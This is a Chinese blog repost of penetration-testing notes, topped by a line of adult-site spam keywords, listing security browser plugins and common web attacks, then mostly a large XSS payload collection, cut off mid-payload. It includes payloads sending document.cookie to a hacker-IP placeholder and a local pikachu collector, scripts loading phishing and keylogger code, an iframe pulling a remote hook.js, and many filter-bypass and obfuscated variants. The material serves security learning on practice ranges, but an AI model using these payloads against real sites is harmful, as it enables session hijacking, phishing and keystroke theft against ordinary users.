日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

發(fā)布時(shí)間:2024/8/1 编程问答 59 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1、滲透測(cè)試 實(shí)用 瀏覽器插件

chrome、edge 插件:搜索 cookie,安裝 cookie editor,打開插件,可以 導(dǎo)出 cookie

  • HackBar :Hackbar是網(wǎng)絡(luò)安全學(xué)習(xí)者常備的工具 (?https://www.fujieace.com/hacker/tools/hackbar.html )。

    ?解決Firefox插件-Hackbar的許可證問(wèn)題:https://blog.csdn.net/qq_45755030/article/details/119515945
    hackbar-2.3.1-學(xué)習(xí)版:https://fengwenhua.top/index.php/archives/43/

  • retire.js :掃描 Web 應(yīng)用程序以使用易受攻擊的JavaScript庫(kù)。retire.js的目標(biāo)是幫助檢測(cè)具有已知漏洞的版本的使用。
  • Wappalyzer:能夠分析目標(biāo)網(wǎng)站所采用的平臺(tái)構(gòu)架、網(wǎng)站環(huán)境、服務(wù)器配置環(huán)境、JavaScript框架、編程語(yǔ)言等參數(shù)的chrome網(wǎng)站技術(shù)分析插件。
  • Proxy SwitchyOmega:自動(dòng)切換代理
  • FoxyProxy:firefox 自動(dòng)切換代理
  • d3coder:可以點(diǎn)擊右鍵快速進(jìn)行相應(yīng)字符的解碼操作,減少了輾轉(zhuǎn)各個(gè)解碼網(wǎng)站的時(shí)間。
  • OneTab:在平時(shí)的滲透測(cè)試過(guò)程中常常會(huì)打開大量的網(wǎng)頁(yè) ,此工具可以將網(wǎng)頁(yè)聚合在一個(gè)標(biāo)簽列表下
  • cookie editor:導(dǎo)出和導(dǎo)入 cookie
  • Penetration Testing Kit:PTK儀表盤允許您分析客戶端/服務(wù)器端技術(shù)并檢查任何第三方庫(kù)以獲取現(xiàn)有的CVE,例如已知的漏洞。同時(shí),它使您可以在瀏覽應(yīng)用程序時(shí)快速訪問(wèn)有關(guān)所有框架和請(qǐng)求的信息。
  • Quick Javascript Switcher:一鍵 開啟 / 關(guān)閉 js
  • Hack-Tools:是一款針對(duì)Web應(yīng)用程序滲透測(cè)試的Web擴(kuò)展,其中包含了大量測(cè)試工具,比如說(shuō)XSS Payload和反向Shell等等。
  • Shodan:顯示網(wǎng)站在哪(國(guó)家、城市)、誰(shuí)擁有 IP 以及哪些其他服務(wù)/端口是開放的。

對(duì)于 Chrome 下載插件,有兩種方法:

  • 方法 1:"高科技上網(wǎng)",然后應(yīng)用商店搜索插件,安裝
  • 方法 2:使用 edge 下載插件,然后找到插件目錄,再導(dǎo)入 Chrome

常見 web 攻擊

常見的web攻擊及預(yù)防:https://cloud.tencent.com/developer/article/1592289

十種常見的web攻擊:https://zhuanlan.zhihu.com/p/140932186

XSS
CSRF
SQL 注入
文件上傳漏洞
命令行注入
DDoS 攻擊

  • SYN Flood 攻擊、
  • ACK Flood 攻擊、
  • UDP Flood 攻擊、
  • ICMP Flood 攻擊、
  • CC 攻擊、
  • DNS Flood、
  • HTTP 慢速連接攻擊
  • 等等

流量劫持 --- DNS 劫持
流量劫持 --- HTTP 劫持
服務(wù)器漏洞 --- 越權(quán)操作漏洞
服務(wù)器漏洞 --- 目錄遍歷漏洞
服務(wù)器漏洞 --- 物理路徑泄露
服務(wù)器漏洞 --- 源碼暴露漏洞

2、XSS : Cross Site Script

相關(guān)知識(shí)

http 協(xié)議
客戶端的 cookie
服務(wù)端的 session
JavaScript 操作 cookie
腳本注入網(wǎng)頁(yè) xss
獲得 cookie 發(fā)送郵件
xss 靶場(chǎng)練習(xí)
xss 平臺(tái)搭建
xss 檢測(cè)和利用
xss 防御方法
xss 闖關(guān)游戲

OWASP TOP 10(二)XSS漏洞(概述、PoC、分類、構(gòu)造、變形繞過(guò)、XSS-Filter、xsser、xsstrike):https://blog.csdn.net/weixin_45677119/article/details/111164997

XSS 定義、原理

?:https://www.bilibili.com/video/BV1jL4y1j7i6?p=7

跨站腳本(英語(yǔ):Cross-site scripting,通常簡(jiǎn)稱為:XSS)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁(yè)上,其他用戶在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類攻擊通常包含了 HTML 以及用戶端腳本語(yǔ)言。 XSS 攻擊通常指的是通過(guò)利用網(wǎng)頁(yè)開發(fā)時(shí)留下的漏洞,通過(guò)巧妙的方法注入惡意指令代碼到網(wǎng)頁(yè),使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序。這些惡意網(wǎng)頁(yè)程序通常是 JavaScript,但實(shí)際上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁(yè)內(nèi)容、會(huì)話和 cookie 等各種內(nèi)容。

簡(jiǎn)而言之,現(xiàn)在的網(wǎng)頁(yè)基本是由 html+css+javascript 組成,普通用戶輸入的是文本信息,而黑客輸入的內(nèi)容則有可能是 javascript 代碼,當(dāng)用戶訪問(wèn)頁(yè)面的時(shí)候,代碼就會(huì)執(zhí)行,這個(gè)時(shí)候就達(dá)到了攻擊的目的。

一句話概括:操縱用戶客戶端執(zhí)行任意js腳本,腳本能實(shí)現(xiàn)什么功能,xss 就可以做什么。

注意:cookie 不能跨域名

一個(gè) XSS 攻擊的示意:

上圖先使用 Chrome 瀏覽器進(jìn)行正常和非正常留言,Chrome 瀏覽器自動(dòng)檢測(cè)出 XSS 攻擊,屏蔽了請(qǐng)求。然后打開 IE8,執(zhí)行同樣的操作,IE8 成功受到了攻擊。

以上 GIF 所展示的,是一個(gè)用戶將文本框的信息提交 form 表單到后臺(tái),后臺(tái)反饋到前臺(tái)進(jìn)行留言展示的場(chǎng)景。表單提交代碼如下:

<form role="form" method="post"><div class="form-group"><label>輸入內(nèi)容</label><br /><textarea id="text" name="text"></textarea></label></div><button id="btn" type="submit" class="btn btn-default">提交</button> </form><label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法,由后臺(tái)賦值text變量--> </div><script>$("#btn").click(function() {$.ajax({type: "POST",url: "/index",cache: false,data: {"text": $("#text").text()},success: function(msg) {}});}) </script>

前臺(tái)表單提交到后臺(tái)服務(wù)器,可以直接使用 form 表單提交,也可以使用 ajax 提交的方式。后臺(tái)代碼可以選擇任意語(yǔ)言實(shí)現(xiàn)( java、php 或者 nodejs 等均可 ),這里使用的 nodejs 代碼,thinkjs3 的框架,后臺(tái)代碼如下:

//index.js const Base = require('./base.js');module.exports = class extends Base {indexAction() {if(this.isGet) {//如果是Get請(qǐng)求,直接顯示前臺(tái)頁(yè)面return this.display();} else if(this.isPost) {//如果是Post請(qǐng)求,賦值nunjucks模板中的text變量,再進(jìn)行頁(yè)面展示let post = this.post();this.assign("text", post.text);return this.display();}} };

這里只是一個(gè)比較輕微的彈出警告框的攻擊,但如果攻擊代碼是:

<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>

則會(huì)將用戶的 cookie 信息發(fā)送到黑客那里,而用戶的 cookie 信息中很可能含有用戶名和密碼等重要信息,后果不堪設(shè)想。

XSS 基本分類

1. 存儲(chǔ)型 xss

2. 反射型 xss

3. Dom 型 xss

4. Self 型 xss

存儲(chǔ)型和反射型

  • 存儲(chǔ)型 XSS:存儲(chǔ)型XSS,持久化,代碼是存儲(chǔ)在服務(wù)器中的,如在個(gè)人信息或發(fā)表文章等地方,加入代碼,如果沒(méi)有過(guò)濾或過(guò)濾不嚴(yán),那么這些代碼將儲(chǔ)存到服務(wù)器中,用戶訪問(wèn)該頁(yè)面的時(shí)候觸發(fā)代碼執(zhí)行。這種XSS比較危險(xiǎn),容易造成蠕蟲,盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲(chǔ)型XSS內(nèi))。

  • 反射型 XSS:非持久化,需要欺騙用戶自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒(méi)有這樣的頁(yè)面和內(nèi)容),一般容易出現(xiàn)在搜索頁(yè)面。

XSS 靶場(chǎng) ( DVWA、pikachu、在線靶場(chǎng)?)

?DVWA 靶場(chǎng)安裝和設(shè)置:https://www.bilibili.com/video/BV1jL4y1j7i6?p=9
pikachu 靶場(chǎng)安裝和設(shè)置 (?https://www.bilibili.com/video/BV1jL4y1j7i6?p=10 ),把?ip 地址改成自己服務(wù)器的 ip ?

?在線 靶場(chǎng) ( 網(wǎng)上有很多在線靶場(chǎng)?):https://xss.angelo.org.cn/level1.php?name=test
xss 靶場(chǎng)大通關(guān):https://www.cnblogs.com/cute-puli/p/10834954.html

XSS payload

關(guān)鍵字:xss payload

XSS payload:https://www.jianshu.com/p/0cb3d4354c85

XSS payload 大全:https://www.cnblogs.com/xiaozi/p/7268506.html

cookie 攻擊 payload?
<script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

釣魚 攻擊 payload
<script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script>

記錄鍵盤 攻擊 payload
<script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script>

<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

常用

  • <script>alert(/xss/)</script>
  • <svg onload=alert(document.domain)>
  • <img src=document.domain onerror=alert(document.domain)>
  • <img src="javascript:alert('XSS')">
  • <img src="" onerror=alert("XSS")> ?// 如果 script 標(biāo)簽被屏蔽,可以使用其他標(biāo)簽
  • <M onmouseover=alert(document.domain)>M
  • <marquee onscroll=alert(document.domain)>
  • <a href=javascript:alert(document.domain)>M</a>
  • <body onload=alert(document.domain)>
  • <details open ontoggle=alert(document.domain)>
  • <embed src=javascript:alert(document.domain)>

把前面的標(biāo)簽進(jìn)行閉合 ( 只要尖括號(hào)閉合,里面的內(nèi)容對(duì)錯(cuò)不用管?),然后跟上 JavaScript 代碼

<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>

"><a href="javascript:alert:alert(/xss/)">click</a>

URL 編碼 ( 是 URL 編碼,不是 HTML 編碼?)

  • %3Cscript%3Ealert('XSS')%3C/script%3E

在線 URL 編碼、HTML 編碼:https://www.bt.cn/tools/encryhtml.html

大小寫繞過(guò)

  • <script>alert(1)</script>
  • <sCrIpT>alert(1)</sCrIpT>
  • <ScRiPt>alert(1)</ScRiPt>
  • <sCrIpT>alert(1)</ScRiPt>
  • <ScRiPt>alert(1)</sCrIpT>
  • <img src=1 onerror=alert(1)>
  • <iMg src=1 oNeRrOr=alert(1)>
  • <ImG src=1 OnErRoR=alert(1)>
  • <img src=1 onerror="alert(&quot;M&quot;)">
  • <marquee onscroll=alert(1)>
  • <mArQuEe OnScRoLl=alert(1)>
  • <MaRqUeE oNsCrOlL=alert(1)>

關(guān)鍵字替換

  • <sc<script>ript>alert("XSS")</script>

各種 alert

  • <script>alert(1)</script>
  • <script>confirm(1)</script>
  • <script>prompt(1)</script>
  • <script>alert('1')</script>
  • <script>alert("1")</script>
  • <script>alert`1`</script>
  • <script>(alert)(1)</script>
  • <script>a=alert,a(1)</script>
  • <script>[1].find(alert)</script>
  • <script>top["al"+"ert"](1)</script>
  • <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
  • <script>top[/al/.source+/ert/.source](1)</script>
  • <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

偽協(xié)議

  • <a href=javascript:/0/,alert(%22M%22)>M</a>
  • <a href=javascript:/00/,alert(%22M%22)>M</a>
  • <a href=javascript:/000/,alert(%22M%22)>M</a>
  • <a href=javascript:/M/,alert(%22M%22)>M</a>

Chrome XSS auditor bypass

  • ?param=https://&param=@z.exeye.io/import%20rel=import%3E
  • <base href=javascript:/M/><a href=,alert(1)>M</a>
  • <base href=javascript:/M/><iframe src=,alert(1)></iframe>

長(zhǎng)度限制

<script>s+="l"</script>
\...
<script>eval(s)</script></pre>

jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

圖片名

"><img src=x onerror=alert(document.cookie)>.gif

過(guò)期的 payload

  • src=javascript:alert 基本不可以用
  • css expression 特性只在舊版本 ie 可用

css

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></pre>

markdown

[a](javascript:prompt(document.cookie))
[a](j ? ?a ? v ? a ? s ? c ? r ? i ? p ? t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`οnerrοr=prompt(document.cookie)](x)
[notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)</pre>

iframe

<iframe οnlοad='
? ? var sc ? = document.createElement("scr" + "ipt");
? ? sc.type ?= "text/javascr" + "ipt";
? ? sc.src ? = "http://1.2.3.4/js/hook.js";
? ? document.body.appendChild(sc);
? ? '
/>

  • <iframe src=javascript:alert(1)></iframe>
  • <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
  • <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
  • <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
  • <iframe src=https://baidu.com width=1366 height=768></iframe>
  • <iframe src=javascript:alert(1) width=1366 height=768></iframe

form

  • <form action=javascript:alert(1)><input type=submit>
  • <form><button formaction=javascript:alert(1)>M
  • <form><input formaction=javascript:alert(1) type=submit value=M>
  • <form><input formaction=javascript:alert(1) type=image value=M>
  • <form><input formaction=javascript:alert(1) type=image src=1>

meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

其他一些奇怪的標(biāo)簽

<video data-automation="FootageHero_heroVideo_video" loop="" autoplay="" class="u_c_8bdc3"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.webm" type="video/webm"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.mp4" type="video/mp4"></video>

#第一類:Javascript URL
<a href="javascript:alert('test')">link</a>
<a href="javascript:alert('xss')">link</a>
<a href='vbscript:MsgBox("XSS")'>link</a>
<a href="vbscript:alert(1)">Hello</a>
<a href="vbscript:alert(1)">Hello</a>
<a href=javascript:alert("XSS")>link</a>
<a href=`javascript:alert("RSnake says,'XSS'")`>link</a>
<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>
<a href="javascript&colon;alert(1)">link</a>
<a href="javaSCRIPT&colon;alert(1)">Hello</a>
<a href="javasc&NewLine;ript&colon;alert(1)">link</a>?
<a href="javas&Tab;cript:\u0061lert(1);">Hello</a>
<a href="jav ? ?ascript:alert('XSS')">link</a>
<a href="jav&#x09;ascript:alert('XSS')">link</a>
<a href="jav&#x0D;ascript:alert('XSS')">link</a>
<a href=" ?javascript:alert('XSS');">link</a>
<a href="javascript:\u0061lert&#x28;1&#x29">Hello</a>
<a href="javascript:confirm`1`">link</a>
<a href="javascript:confirm(1)">link</a>
<a href="j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)">1</a>
<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
<a href=javascript:eval("alert('xss')")>link</a> ?
<a href=javascript:alert('XSS')>link</a>
<a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>link</a>
<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>link</a>
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>?
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
#第二類:CSS import
<style>@import url("http://attacker.org/malicious.css");</style>
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<STYLE>@import'http://jb51.net/xss.css';</STYLE>
#第三類:Inline style
<div style="color: expression(alert('XSS'))">
<div style=color:expression\(alert(1))></div>?
<div style="color: '<'; color: expression(alert('XSS'))">
<div style=X:expression(alert(/xss/))>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<div style="z:exp/*anything*/res/*here*/sion(alert(1))">
<div style=xss:expr/*XSS*/ession(alert('XSS'))>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")>?
<img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6 ?
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">?
<A STYLE='no\xss:noxss("*//*");xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

#第四類:JavaScript 事件
<div οnclick="alert('xss')">
<div οnmοuseenter="alert('xss')">
<div onclick ="alert('xss')">
<BODY ONLOAD=alert('XSS')>
<img src=1 οnerrοr=alert(1)>
<img/src='1'/οnerrοr=alert(0)>
<img src="1" οnerrοr="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<img src=1 alt=al lang=ert οnerrοr=top[alt+lang](0)>
<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 οnmοuseοver=alert('xss') a1=1111>?
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
<a href="#" οnclick=alert('\170\163\163')>test</a>
<a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a>
<a href="#" οnclick="alert('xss')">link</a>
<marquee οnscrοll=alert(1)> test</marquee>
<div ?style="width:100px;height:100px;overflow:scroll" οnscrοll="alert('a')">123456 <br/><br/><br/><br/><br/></div>
<DIV onmousewheel="alert('a')" >123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<div style="background-color:red" οnmοuseenter="alert('a')">123456</div>
<DIV οnmοuseleave="alert('1')">123456</DIV>
<div contentEditable="true" style="background-color:red" οnfοcusin="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red" οnfοcusοut="alert('bem')" >asdf</div>
<marquee onstart="alert('a')" >asdf</marquee>
<div style="background-color:red;" onbeforecopy="alert('a')" >asdf</div>
<div style="background-color:red;" onbeforecut="alert('a')" >asdf</div>
<div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('a')" >asdf</div>
<div style="background-color:red;" ="true" onbeforepaste="alert('a')" >asdf</div>
<div style="background-color:red;" οncοntextmenu="alert('a')" >asdf</div>
<div style="background-color:red;" οncοpy="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" oncut="alert('a')" >asdf</div>
<div style="background-color:red;" οndrag="alert('1')" >asdf</div>
<div style="background-color:red;" οndragend="alert('a')" >asdf</div>
<div style="background-color:red;" οndragenter="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragleave="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragοver="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndrοp="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:green;" οndrοp="alert('bem')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div>
<div contentEditable="true" style="background-color:red;" οnpaste="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onselectstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onhelp="alert('a')" >asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('a')">asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('a')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;" onactivate="alert('b')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div>
<div contentEditable="true" onbeforeactivate="alert('b')">asdf</div>
<div contentEditable="true" onbeforedeactivate="alert('a')">asdf</div>
<div contentEditable="true" ondeactivate="alert('bem')">asdf</div>
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)" />
<audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)">
<audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"></audio>
<body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<input type="hidden" accesskey="X" οnclick="alert(/xss/)">


#第五類:Script 標(biāo)簽
<script src="http://baidu.com"></script><script>Function(atob('YWxlcnQoInhzcyIp'))()</script>
<script>alert("XSS")</script>
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
<script>alert(/1/.source)</script>
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<script>alert(/88199/)</script>
<script>alert(`a`)</script>
<script>alert('a')</script>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script>eval(alert(1))</script>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout(alert(1),0)</script>
<script>setTimeout`alert\x28\x27 xss \x27\x29`</script>
<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script src=data:text/javascript,alert(1)></script>
<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>

<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074`a`</script>
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>
<!--[if]><script>alert(1)</script ? ? -->
<script>alert("xss");;;;;;;;;;;;;;;;; ? ?;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+